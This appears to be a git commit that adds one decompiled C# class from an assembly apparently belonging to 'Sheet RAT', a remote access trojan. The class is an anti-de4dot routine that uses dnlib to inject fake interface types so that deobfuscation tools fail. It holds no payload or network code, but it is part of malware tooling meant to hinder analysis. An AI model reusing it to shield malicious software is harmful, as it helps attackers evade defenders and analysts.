initial commit
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.AntiDe4dot
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
internal class AntiDe4dot
|
||||
{
|
||||
public static void Execute(AssemblyDef mod)
|
||||
{
|
||||
foreach (ModuleDef module in (IEnumerable<ModuleDef>) mod.Modules)
|
||||
{
|
||||
InterfaceImplUser interfaceImplUser1 = new InterfaceImplUser((ITypeDefOrRef) module.GlobalType);
|
||||
for (int index = 0; index < 1; ++index)
|
||||
{
|
||||
TypeDefUser @interface = new TypeDefUser((UTF8String) string.Empty, (UTF8String) string.Format("Form{0}", index), (ITypeDefOrRef) module.CorLibTypes.GetTypeRef("System", "Attribute"));
|
||||
InterfaceImplUser interfaceImplUser2 = new InterfaceImplUser((ITypeDefOrRef) @interface);
|
||||
module.Types.Add((TypeDef) @interface);
|
||||
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser2);
|
||||
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser1);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user